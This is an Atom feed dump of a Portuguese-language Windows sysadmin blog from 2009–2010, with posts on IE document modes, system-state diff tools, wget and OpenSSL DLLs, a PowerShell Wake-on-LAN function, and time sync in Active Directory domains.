rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7924800626348434257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7924800626348434257'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/03/ativando-o-terminal-service-remotamente.html' title='Ativando o Terminal Services remotamente'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1521618011704359616</id><published>2010-03-03T23:17:00.001-03:00</published><updated>2010-03-03T23:17:49.321-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Standards'/><category scheme='http://www.blogger.com/atom/ns#' term='IE'/><title type='text'>IE6, 7, 8 e os DIVs que saem do lugar</title><content type='html'>&lt;p&gt;Olá pessoal, tudo bom?&lt;/p&gt;  &lt;p&gt;faz tempo que não escrevo por aqui. Segue uma dica bacana que encontrei agora pouco...&lt;/p&gt;  &lt;p&gt;Muita gente fala mal do IE, certo? Pra grande maioria, porque é lerdo. Pra quem desenvolve, porque não segue padrões. &lt;/p&gt;  &lt;p&gt;Quem já tentou criar páginas e XHTML com CSS dentro dos padrões (infra também... quem já exportou um relatório do SQL, MOM ou SCOM em HTML) provavelmente já viu a página aparecer de um jeito no IE6, de outro no IE7, de mais algumas formas diferentes no IE8. Uma das causas raiz disso é a seleção errada do modo de renderização pelo IE. Na verdade, quem errou foi você ou o programa que gerou o código.&lt;/p&gt;  &lt;p&gt;De forma bem simples, o modo de renderização foi a maneira encontrada pra manter compatibilidade com sites antigos nas versões mais novas do IE. Dependendo da página, ou o IE interpreta a página da forma correta, seguindo padrões, ou dá uma folga pra eles e finge ser um IE 6 ou 7. E se ele fingir ser um IE6 alguns divs saem do lugar, medidas são interpretadas de forma diferente, e aí o problema começa. Por outro lado, é esse algoritmo que faz a página do seu roteador dlink antigo continuar funcionando nos IEs novos.&lt;/p&gt;  &lt;p&gt;No link a seguir tem uma explicação bacana do time do IE sobre como isso funciona. Vale guardar pra ler quando seus divs sairem do lugar. &lt;/p&gt;  &lt;p&gt;&lt;a href="https://portal.itgroup.com.br/exchweb/bin/redir.asp?URL=http://blogs.msdn.com/ie/archive/2010/03/02/how-ie8-determines-document-mode.aspx"&gt;http://blogs.msdn.com/ie/archive/2010/03/02/how-ie8-determines-document-mode.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;O curioso é que, ainda no começo do artigo, o autor diz que 26% dos sites analisados forçam o modo Quirks (antigo, mais lerdo que o standards, e razão de boa parte dos problemas), entre eles o Unibanco.com.br, bastante conhecido pelas terras tupiniquins. &lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;p&gt;PS: não estou dizendo nada contra os Web Standards. É realmente garantir páginas iguais em todos os IEs e isso atrapalha… mas muitas vezes isso acontece é por falta de conhecimento mesmo.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1521618011704359616?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1521618011704359616/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1521618011704359616&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1521618011704359616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1521618011704359616'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/03/ie6-7-8-e-os-divs-que-saem-do-lugar.html' title='IE6, 7, 8 e os DIVs que saem do lugar'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-4117771892619656377</id><published>2010-01-24T11:17:00.001-02:00</published><updated>2010-01-24T11:18:14.444-02:00</updated><title type='text'>Windows System State Analyzer</title><content type='html'>&lt;p&gt;Olá pessoal,&lt;/p&gt;  &lt;p&gt;acho que encontrei uma pérola na internet hoje: o Windows System State Analyzer.&lt;/p&gt;  &lt;p&gt;Eu explico. Durante muitos anos (sim, anos) eu uso &lt;a href="http://sourceforge.net/projects/regshot/"&gt;um programinha muito simples para monitorar a diferença entre dois estados do computador&lt;/a&gt;. Isso é interessante para monitorar o que foi feito por algum instalador, algum programa suspeito ou simplesmente para descobrir onde fica aquela chave de registro que guarda uma configuração que você quer ter uma cópia de segurança.&lt;/p&gt;  &lt;p&gt;Nada contra o RegShot. Ele funciona muito bem, e rápido. O problema é que você precisa, em algumas situações, fazer &amp;quot;arte&amp;quot; com ele. Como ele é um programa rodando, ele tem ao menos um processo no sistema. Todo processo tem um dono, nesse caso, o usuário que iniciou o programa (eu). Como meu usuário não consegue acessar determinadas partes do registro e do sistema de arquivos, algumas vezes o RegShot não mostra tudo que foi alterado (já que seu usuário é um usuário comum e não tem direito de fazer tudo na máquina). Isso pode ser resolvido rodando o RegShot como administrador (ou ainda como LOCALSYSTEM, se você for um usuário que realmente entende do SO).&lt;/p&gt;  &lt;p&gt;O que eu encontrei hoje é um software da Microsoft que promete fazer o mesmo, e eu nunca tinha visto. Trata-se do WSSA, Windows System State Analyzer. &lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_l3eDYIF1qmk/S1xIb-Rx6fI/AAAAAAAAAII/DU100DgddpU/image%5B4%5D.png?imgmax=800" width="585" height="441" /&gt; &lt;/p&gt;  &lt;p&gt;Aí você me pergunta: pra que mais um, se o RegShot já resolve todos os seus problemas? Bom, primeiro, é importante ter opções. Se o RegShot não conseguir me ajudar, tenho mais uma agora. Depois, porque o relatório do WSSA parece ser bem mais simples de se interpretar e tirar conclusões do que o TXT estranho do RegShot:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_l3eDYIF1qmk/S1xIdTpEeQI/AAAAAAAAAIU/-byTJcLGjgI/image%5B9%5D.png?imgmax=800" width="602" height="371" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Você pode baixar o WSSA nos links abaixo. Eu estou baixando nesse exato momento.&lt;/p&gt;  &lt;p&gt;x86: &lt;a href="http://go.microsoft.com/fwlink/?LinkID=140110"&gt;http://go.microsoft.com/fwlink/?LinkID=140110&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;x64: &lt;a href="http://go.microsoft.com/fwlink/?LinkID=140109"&gt;http://go.microsoft.com/fwlink/?LinkID=140109&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Você pode usar esse programa para o bem ou para o mal. Como ele mostra o que foi alterado no computador, você pode descobrir TUDO que um programa colocou no sistema durante sua instalação. Se você for capaz de voltar ao estado anterior, poderá reinstalar o programa e usar mais 30 dias do periodo trial. Você pode usar para coisas mais interessantes: tentar entender o que já existe na sua máquina com uma versão antiga que está impedindo a instalação de algo que você precisa. Ou ainda entender se um programa é um vírus ou não, observando que tipo de arquivos ele cria ou altera. Enfim, as utilidades são muitas.&lt;/p&gt;  &lt;p&gt;Have fun!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-4117771892619656377?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/4117771892619656377/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=4117771892619656377&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4117771892619656377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4117771892619656377'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/01/windows-system-state-analyzer.html' title='Windows System State Analyzer'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_l3eDYIF1qmk/S1xIb-Rx6fI/AAAAAAAAAII/DU100DgddpU/s72-c/image%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7852535071208927051</id><published>2010-01-23T23:50:00.001-02:00</published><updated>2010-01-23T23:50:19.091-02:00</updated><title type='text'>libeay32.dll e ssleay32.dll</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;Após a publicação daquele &amp;quot;Sysinternals Tools Downloader&amp;quot;, muita gente me perguntou sobre o arquivo acima, o libeay32.dll. Isso porque um dos programas que eu recomendei, o wget, depende dessa biblioteca. Mas como resolver?&lt;/p&gt;  &lt;p&gt;Primeiramente, alguma explicação. O wget depende da libssl, uma biblioteca que implemente o protocolo SSL. Reusar software é legal, e evita que reinventemos a roda o tempo todo. Quando o wget foi portado para o Windows, ele continuou dependendo da libssl. Felizmente, várias pessoas portaram também a libssl para Windows. Dessa forma, basta baixar uma implementação e colocar as DLLs nos lugares certos.&lt;/p&gt;  &lt;p&gt;Aos que precisarem, eu recomendo instalar a versão da libssl que pode ser obtida &lt;a href="http://www.slproweb.com/products/Win32OpenSSL.html"&gt;&lt;strong&gt;aqui&lt;/strong&gt;&lt;/a&gt;. Com a biblioteca instalada, basta pegar o arquivo em questão (libeay32.dll e, possivelmente o ssleay32.dll), copiar e colar em algum lugar do PATH ou no mesmo lugar onde estiver o programa wget.exe. Ele procura na própria pasta. Não é necessário registrar a DLL nem nada parecido: o carregamento dela é feito diretamente a partir do arquivo.&lt;/p&gt;  &lt;p&gt;Até a proxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7852535071208927051?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7852535071208927051/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7852535071208927051&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7852535071208927051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7852535071208927051'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/01/libeay32dll-e-ssleay32dll.html' title='libeay32.dll e ssleay32.dll'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2113205704632517161</id><published>2010-01-23T23:40:00.001-02:00</published><updated>2010-01-23T23:43:03.860-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Wake On Lan &amp; Powershell: Waking up computers in a network</title><content type='html'>&lt;p&gt;(This article was written originally in Portuguese. If you are Brazilian, Portuguese or simply prefer to read in Portuguese, &lt;a href="http://viniciuscanto.blogspot.com/2007/01/wake-on-lan-powershell-acordando.html"&gt;click here&lt;/a&gt;)&lt;/p&gt;  &lt;p&gt;Good morning! Here I have the first version of that function I created to show how to use that little script that sends UDP packets over local network. This can be very helpful in corporative environments, specially when you have information about all machines. There are many implementations of WakeOnLan on the Internet, many of them free, written in many programming languages and technologies. My intention here is only show how to do this using only PowerShell and .Net Framework (and a text editor, of course :)&lt;/p&gt;  &lt;p&gt;PowerShell language is very close to C#, so if you are looking for how to do the same in C#, this code can be easily modified. The main advantage of mine is the simplicity and the lack of dependencies... all you need is PowerShell (comes with Windows 7!) and Notepad (comes with all Windows versions)!&lt;/p&gt;  &lt;p&gt;WakeOnLan is very simple: first, the computer to be waken needs to be compatible with WOL (the mainboard needs to be PCI2.2 compliant (at least), the computer needs to have ATX PSU, NIC needs to be compatible, and so on). This can be identified in system BIOS, that should have an option to enable or disable WakeOnLan. Of course, check if the computer to be waken is correctly configured.&lt;/p&gt;  &lt;p&gt;But how this stuff works? All computer with a PSU supply stay in standby. If you enable WOL the computer also instructs its network card to stay in standby and monitor medium looking for a Magic Packet. When NIC receives the packet, it turns the computer on. And this Magic Packet is only a UDP packet sent to network broadcast address, usually on port 7 or 9, with FF FF FF FF FF FF on 6 first bytes followed by NIC MAC address repeated 16 times (total: 102 bytes). There's the possibility to send a password, but this is not very used and I didn't implemented. More information on &lt;a href="http://en.wikipedia.org/wiki/Wake-on-LAN"&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;My script is also simple. Save it on a .PS1 file (for instance, wake-computer.ps1) and call it using what we call dot-sourcing. It's like execute the script, but the internal functions (and also variables, data, constants, aliases) are exported, being visible to the user. Then you need to call a funcion called wake-computer with two parameters: NIC's MAC address and broadcast address.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;font face="Georgia"&gt;Here's an example:&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;. '.\wake-computer.ps1' 
wake-computer 00:16:76:75:01:00 192.168.1.255&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then, the code&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
# wake-computer function 
# by Vinicius Canto - MVP 
# 
# Usage: wake-computer &lt;mac-address&gt;&lt;broadcast address&gt;
# 
# &lt;mac-address&gt;: MAC address of remote machine. The mac-address must be in the 
# format AA:BB:CC:DD:EE:FF, six numbers in hexadecimal, like the 
# output of IPconfig command 
# 
# &lt;broadcast address&gt;Address used to broadcast packets on local network. This 
# address must be in the format a.b.c.d, with a, b, c and d 
# numbers between 0 and 255, the common form of an IP Address 
# 
# Example: 
# wake-computer 00:16:76:75:AA:00 192.168.1.255 
# 
# For more information, contact-me: scripterbr (at) gmail (dot) com 
# 
# I'm looking for people to improve the code... if you want, contact me!  
# example line that sends an UDP packet 
# (new-object System.Net.Sockets.Socket(2,2,17)).SendTo(&amp;quot;Vinicius&amp;quot;,(new-object System.Net.IPEndPoint(([System.Net.IPAddress]::Parse(&amp;quot;192.168.1.2&amp;quot;)),2000))) 


function wake-computer([string]$macAddress, [string]$broadcastAddress) {
	$socket = new-object System.Net.Sockets.Socket(2,2,17)
	$destination = [System.Net.IPAddress]::Parse($broadcastAddress)
	$endpoint = new-object System.Net.IPEndpoint($destination,9) 
	[byte[]]$buffer = @(255,255,255,255,255,255) 
	$buffer += (($macAddress.split(':') | foreach {[byte]('0x' + $_)}) * 16)
	$sent = $socket.Sendto($buffer, $buffer.length, 0, $endpoint) 
	&amp;quot;$sent bytes sent. The computer $macAddress may be initializing.&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I recommend to be careful with line breaks. Blogger don't like source code... Also check if your current PowerShell configuration allows you to run scripts with &lt;span style="font-style: italic"&gt;Get-ExecutionPolicy&lt;/span&gt; command. I also recommend to look Wesley's blog... he is currently studying some new technologies like IAMT, and they help, among other things, remote computer management. He'll create some cool thing and post there. The link is &lt;a href="http://wesleey.spaces.live.com"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;See you!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2113205704632517161?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2113205704632517161/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2113205704632517161&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2113205704632517161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2113205704632517161'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/01/wake-on-lan-powershell-waking-up.html' title='Wake On Lan &amp;amp; Powershell: Waking up computers in a network'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8299126038714398650</id><published>2009-12-24T18:36:00.001-02:00</published><updated>2009-12-25T18:44:53.993-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sysinternals'/><title type='text'>Sysinternals Tools Downloader</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;aqui vai uma das minhas criações rápidas de fim de ano. A primeira versão (preguiçosa) do Sysinternals Tools Downloader - STD.&lt;/p&gt;  &lt;p&gt;Eu uso muito as ferramentas da Sysinternals para debugging, troubleshooting e outras tarefas banais, e percebi que sempre perco um certo tempo indo até o site da Sysinternals para baixar o que eu preciso. Pior ainda é quando eu baixo uma das ferramentas, o Autoruns por exemplo, e descubro no meio da análise que preciso de outras, como o Process Explorer, Process Monitor ou TCPView. Isso me faz voltar mais uma vez ao site para baixar o que eu preciso.&lt;/p&gt;  &lt;p&gt;Todas as ferramentas da Sysinternals podem ser baixadas em &lt;a href="http://live.sysinternals.com"&gt;http://live.sysinternals.com&lt;/a&gt;. Se você precisar em uma emergência e souber o nome de uma ferramenta específica pode digitar diretamente no Executar: &lt;a href="http://live.sysinternals.com/autoruns.exe"&gt;http://live.sysinternals.com/autoruns.exe&lt;/a&gt;. Mesmo assim, quis automatizar ainda mais. &lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_l3eDYIF1qmk/SzUkQxkKQzI/AAAAAAAAAH8/5rttsq-cEZw/s1600-h/image%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_l3eDYIF1qmk/SzPQx_gHhGI/AAAAAAAAAIA/hVS-etKaQJw/image_thumb%5B2%5D.png?imgmax=800" width="472" height="278" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Se você tiver o wget em algum lugar no seu computador, você pode baixar todas as ferramentas de uma vez em uma pasta. Mais ainda: pode criar um arquivo .CMD para atualizar todas que tiverem sido atualizadas desde a última vez.&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;c:\tools\wget.exe -r -l 1 -nH -v -N -P c:\tools\sysinternals http://live.sysinternals.com&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Se você não tem o wget para Windows no computador, &lt;a href="http://downloads.sourceforge.net/gnuwin32/wget-1.11.4-1-bin.zip"&gt;baixe-o aqui&lt;/a&gt;. Dentro do ZIP basta pegar o arquivo bin\wget.exe e colocar em alguma pasta local.&lt;/p&gt;

&lt;p&gt;Como funciona:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;-r -l 1 - Baixa todos os arquivos recursivamente, descendo no máximo um nível. &lt;/li&gt;

  &lt;li&gt;-nH - não copia os nomes das pastas do servidor &lt;/li&gt;

  &lt;li&gt;-v - Exibe o log detalhado das operações na tela &lt;/li&gt;

  &lt;li&gt;-N - baixa somente os arquivos mais novos do servidor. &lt;/li&gt;

  &lt;li&gt;-P sysinternals - baixa todos os arquivos na pasta c:\tools\sysinternals &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se quiser, salve a linha acima em um arquivo .CMD para facilitar.&lt;/p&gt;

&lt;p&gt;Porque preguiçosa? A próxima vez eu mando uma versão PowerShell-only do mesmo comando. Usando o WGET fica muito fácil.&lt;/p&gt;

&lt;p&gt;Até a próxima e feliz natal!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8299126038714398650?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8299126038714398650/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8299126038714398650&amp;isPopup=true' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8299126038714398650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8299126038714398650'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/12/sysinternals-tools-downloader.html' title='Sysinternals Tools Downloader'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_l3eDYIF1qmk/SzPQx_gHhGI/AAAAAAAAAIA/hVS-etKaQJw/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-233366013075699018</id><published>2009-12-17T19:32:00.001-02:00</published><updated>2009-12-17T19:39:14.810-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Active Directory'/><title type='text'>NET TIME vs w32time: Onde começar</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;faz tempo que eu não faço barulho por aqui. Hoje vai uma dica legal.&lt;/p&gt;  &lt;p&gt;Se você um dia tiver problemas de sincronização de relógios dos computadores em um domínio (em VM ou não) leia alguns dos artigos (eu fiz questão de ler todos) sobre o serviço w32time no blog do time que criou o serviço:&lt;/p&gt;  &lt;p&gt;&lt;a href="https://portal.itgroup.com.br/exchweb/bin/redir.asp?URL=http://blogs.msdn.com/w32time/"&gt;http://blogs.msdn.com/w32time/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;O blog descreve, dentre outras coisas, como o serviço funciona e porque o NET TIME /SET não é necessário em nenhum script de logon (argh!).&lt;/p&gt;  &lt;p&gt;Até mais,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;p&gt;PS: pra quem não entendeu o recado, o NET TIME não deve ser usado em scripts de logon. Não há necessidade de usá-lo se você estiver em um domínio. Quem ficar na dúvida, leia atentamente o post sobre &lt;a href="http://blogs.msdn.com/w32time/archive/2009/08/07/net-time-and-w32time.aspx"&gt;NET TIME&lt;/a&gt; e os &lt;a href="http://blogs.msdn.com/w32time/archive/2007/07/07/welcome.aspx"&gt;primeiros&lt;/a&gt; &lt;a href="http://blogs.msdn.com/w32time/archive/2007/09/04/keeping-the-domain-on-time.aspx"&gt;posts&lt;/a&gt; sobre o w32time.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-233366013075699018?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/233366013075699018/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=233366013075699018&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/233366013075699018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/233366013075699018'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/12/net-time-vs-w32time-onde-comecar.html' title='NET TIME vs w32time: Onde começar'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-4598055116119726697</id><published>2009-12-13T01:13:00.002-02:00</published><updated>2009-12-13T01:16:06.854-02:00</updated><title type='text'>Layout temporário...</title><content type='html'>Olá,

por conta de problemas no servidor que eu armazenava as imagens do blog eu decidi por criar um novo layout. O problema é que eu acabei nunca terminando esse novo layout e simplesmente parei de postar minhas dicas por aqui por não ter mais um layout decente...

Pois bem, criei coragem hoje e escolhi um layout simples do Blogger mesmo só para continuar postando. Em breve teremos os truques que fui escrevendo nos últimos 3 meses =)

Um abraço a todos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-4598055116119726697?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/4598055116119726697/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=4598055116119726697&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4598055116119726697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4598055116119726697'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/12/layout-temporario.html' title='Layout temporário...'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8102792057626176360</id><published>2009-04-25T17:39:00.001-03:00</published><updated>2009-04-25T17:39:12.790-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Active Directory'/><title type='text'>Mover o local padrão dos computadores adicionados ao domínio</title><content type='html'>&lt;p&gt;Um grande amigo meu (aka Wesley Fernandes) postou em seu blog algo que é bastante útil: como mover o local padrão dos computadores adicionados ao domínio.&lt;/p&gt;  &lt;p&gt;Veja como fazer isso e porque isso é útil direto no blog dele: &lt;a title="http://wesleey.spaces.live.com/Blog/cns!CA741617C72DF644!477.entry" href="http://wesleey.spaces.live.com/Blog/cns!CA741617C72DF644!477.entry"&gt;http://wesleey.spaces.live.com/Blog/cns!CA741617C72DF644!477.entry&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;=)&lt;/p&gt;  &lt;p&gt;Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8102792057626176360?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8102792057626176360/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8102792057626176360&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8102792057626176360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8102792057626176360'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/04/mover-o-local-padrao-dos-computadores.html' title='Mover o local padrão dos computadores adicionados ao domínio'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5034330951865260221</id><published>2009-04-18T13:03:00.001-03:00</published><updated>2009-04-18T13:03:04.575-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OFF-Topic'/><category scheme='http://www.blogger.com/atom/ns#' term='Carreira'/><title type='text'>OFF: Faculdade?</title><content type='html'>&lt;p&gt;Recentemente o Fábio Akita publicou em seu blog o que ele pensa sobre ter ou não um diploma universitário. Eu li e gostei. Recomendo a leitura para quem tem essa dúvida na cabeça.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.akitaonrails.com/2009/04/17/off-topic-devo-fazer-faculdade"&gt;http://www.akitaonrails.com/2009/04/17/off-topic-devo-fazer-faculdade&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 